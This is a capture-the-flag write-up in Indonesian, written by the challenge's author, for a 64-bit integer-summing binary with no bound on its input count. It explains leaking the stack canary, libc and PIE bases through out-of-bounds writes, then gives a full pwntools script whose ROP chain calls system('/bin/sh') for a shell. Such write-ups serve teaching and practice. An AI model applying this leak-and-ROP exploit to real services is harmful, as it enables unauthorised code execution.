this challenge was created by me

Overview

Diberikan sebuah file libc 2.31 dan binary dengan proteksi sebagai berikut:

sum-checksec

Berikut hasil dekompilasi fungsi main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+1Fh] [rbp-61h]
  int v5; // [rsp+20h] [rbp-60h]
  int i; // [rsp+24h] [rbp-5Ch]
  __int64 v7; // [rsp+28h] [rbp-58h]
  int s[18]; // [rsp+30h] [rbp-50h]
  unsigned __int64 v9; // [rsp+78h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  v7 = 0LL;
  init(*(_QWORD *)&argc, argv, envp);
  banner();
  do
  {
    v7 = 0LL;
    memset(s, 0, 0x40uLL);
    printf("n: ", 0LL);
    __isoc99_scanf("%d", &v5);
    for ( i = 0; i < v5; ++i )
    {
      printf("%d. ", (unsigned int)(i + 1));
      __isoc99_scanf("%d", &s[i]);
      v7 += s[i];
    }
    printf("= %ld\n\n", v7);
    printf("[Y/n]? ");
    while ( getchar() != '\n' )
      ;
    __isoc99_scanf("%c", &v4);
  }
  while ( v4 == 'y' || v4 == 'Y' );
  return 0;
}

Program tersebut akan meminta input n, dan n buah bilangan. N buah bilangan tersebut akan disimpan di dalam sebuah array integer. Bilangan-bilangan tersebut akan ditambahkan secara satu persatu ke dalam variabel v7, setelah itu akan mencetak hasil dari penjumlahan bilangan-bilangan tersebut. Dan terakhir, terdapat option apakah akan melakukan perhitungan lagi atau tidak.

Vulnerability

Lalu dimana letak vulnerabilitynya? Ya, tidak ada batasan nilai n sehingga dapat menyebabkan out of bound pada array. Dengan begitu kita dapat mengoverwrite saved RIP fungsi main.

Exploit

Leak dapat dilakukan dengan menginputkan nilai yang bukan angka pada saat bagian yang akan dileak tersebut akan dioverwrite. Pada saat __isoc99_scanf("%d", &v5) menerima nilai yang bukan angka (contoh: ‘a’, ‘!', dll), maka nilai tersebut tidak akan mengoverwrite sesuatu. Dengan cara itulah kita meleak nantinya, karena bagian yang akan dileak tidak akan teroverwrite dengan apapun. Leak akan dilakukan dengan membagi nilai tersebut secara 4 byte 4 byte, hal itu dilakukan karena program tersebut 64bit sedangkan besar elemen arraynya masing-masing 4 byte. Sebelum memasukkan nilai yang bukan angka, kita masukkan semuanya nol, ini digunakan untuk mempermudah saat leak. Karena jika nol, pada saat leak akan langsung menampilkan nilai leak yang diinginkan dan tidak perlu melakukan kalkulasi lagi. Leak bisa saja bernilai negatif, maka dari itu kita membutuhkan bantuan fungsi c_uint dari library ctypes untuk mengubahnya ke unsigned integer.

def leak(offset):
    
    p.sendlineafter('n: ', '{}'.format(offset + 1))
    for i in range(offset):
        p.sendlineafter('. ', '0')
    p.sendlineafter('. ', 'a')
    p.recvuntil('= ')
    leak1 = c_uint(int(p.recvline(0), 10)).value
    p.sendlineafter('?', 'y')

    p.sendlineafter('n: ', '{}'.format(offset + 2))
    for i in range(offset + 1):
        p.sendlineafter('. ', '0')
    p.sendlineafter('. ', 'a')
    p.recvuntil('= ')
    leak2 = c_uint(int(p.recvline(0), 10)).value
    p.sendlineafter('?', 'y')

    leak = (leak2 << 32) + leak1

    return leak

Namun karena binary ini memiliki beberapa proteksi seperti pie dan canary, kita harus leak mereka terlebih dulu.

   canary = leak(18)
 
   libc.address = leak(22) - 0x270b3
 
   elf.address = leak(30) - 0x9d2

Setelah mendapatkan leak canary, libc address, dan pie kita dapat menyusun ropchain untuk memanggil system(“/bin/sh”). Namun sebelum jump ke system kita perlu jump ke instruksi ret terlebih dahulu karena ada misalignment, jika tidak jump ke ret maka akan terjadi segmentation fault.

    pop_rdi = elf.address + 0x0000000000000ba3
    ret = pop_rdi + 1

    binsh = next(libc.search('/bin/sh'))
    log.info('/bin/sh @ {}'.format(hex(binsh)))

    p.sendlineafter('n: ', '30')
    for i in range(18):
        p.sendlineafter('. ', '0')
    p.sendlineafter('. ', str(canary & 0xFFFFFFFF))
    p.sendlineafter('. ', str(canary >> 32))
    p.sendlineafter('. ', '0')
    p.sendlineafter('. ', '0')
    p.sendlineafter('. ', str(pop_rdi & 0xFFFFFFFF))
    p.sendlineafter('. ', str(pop_rdi >> 32))
    p.sendlineafter('. ', str(binsh & 0xFFFFFFFF))
    p.sendlineafter('. ', str(binsh >> 32))
    p.sendlineafter('. ', str(ret & 0xFFFFFFFF))
    p.sendlineafter('. ', str(ret >> 32))
    p.sendlineafter('. ', str(libc.sym['system'] & 0xFFFFFFFF))
    p.sendlineafter('. ', str(libc.sym['system'] >> 32))

    p.sendlineafter('?', 'n')

Full exploit code

from pwn import *
from ctypes import *
import sys

BINARY = './chall'

con = 'nc chall.codepwnda.id 17011'

if(con):
    con = con.split(' ')
    HOST = con[1]
    PORT = con[2]

elf = ELF(BINARY, checksec=False)
argv = sys.argv
# context.terminal = 'gnome-terminal -e'.split()
context.terminal = 'tmux splitw -h -p 70'.split()
#context.log_level = 'DEBUG'
libc = ELF('./libc-2.31.so', checksec=False)

def leak(offset):
    
    p.sendlineafter('n: ', '{}'.format(offset + 1))
    for i in range(offset):
        p.sendlineafter('. ', '0')
    p.sendlineafter('. ', 'a')
    p.recvuntil('= ')
    leak1 = c_uint(int(p.recvline(0), 10)).value
    p.sendlineafter('?', 'y')

    p.sendlineafter('n: ', '{}'.format(offset + 2))
    for i in range(offset + 1):
        p.sendlineafter('. ', '0')
    p.sendlineafter('. ', 'a')
    p.recvuntil('= ')
    leak2 = c_uint(int(p.recvline(0), 10)).value
    p.sendlineafter('?', 'y')

    leak = (leak2 << 32) + leak1

    return leak


def exploit():

    canary = leak(18)
    log.info('canary : {}'.format(hex(canary)))

    libc.address = leak(22) - 0x270b3 
    log.info('libc base @ {}'.format(hex(libc.address)))

    elf.address = leak(30) - 0x9d2
    log.info('pie base @ {}'.format(hex(elf.address)))
     
    pop_rdi = elf.address + 0x0000000000000ba3
    ret = pop_rdi + 1

    binsh = next(libc.search('/bin/sh'))
    log.info('/bin/sh @ {}'.format(hex(binsh)))

    p.sendlineafter('n: ', '30')
    for i in range(18):
        p.sendlineafter('. ', '0')
    p.sendlineafter('. ', str(canary & 0xFFFFFFFF))
    p.sendlineafter('. ', str(canary >> 32))
    p.sendlineafter('. ', '0')
    p.sendlineafter('. ', '0')
    p.sendlineafter('. ', str(pop_rdi & 0xFFFFFFFF))
    p.sendlineafter('. ', str(pop_rdi >> 32))
    p.sendlineafter('. ', str(binsh & 0xFFFFFFFF))
    p.sendlineafter('. ', str(binsh >> 32))
    p.sendlineafter('. ', str(ret & 0xFFFFFFFF))
    p.sendlineafter('. ', str(ret >> 32))
    p.sendlineafter('. ', str(libc.sym['system'] & 0xFFFFFFFF))
    p.sendlineafter('. ', str(libc.sym['system'] >> 32))

    p.sendlineafter('?', 'n')

    p.interactive()


if __name__ == '__main__':

    p = process(BINARY)

    if len(argv) > 1:
        if argv[1] != 'd':
            p = remote(HOST, PORT)
        else:
            cmd = '''
            '''
            gdb.attach(p, cmd)
    exploit()

sum-pwned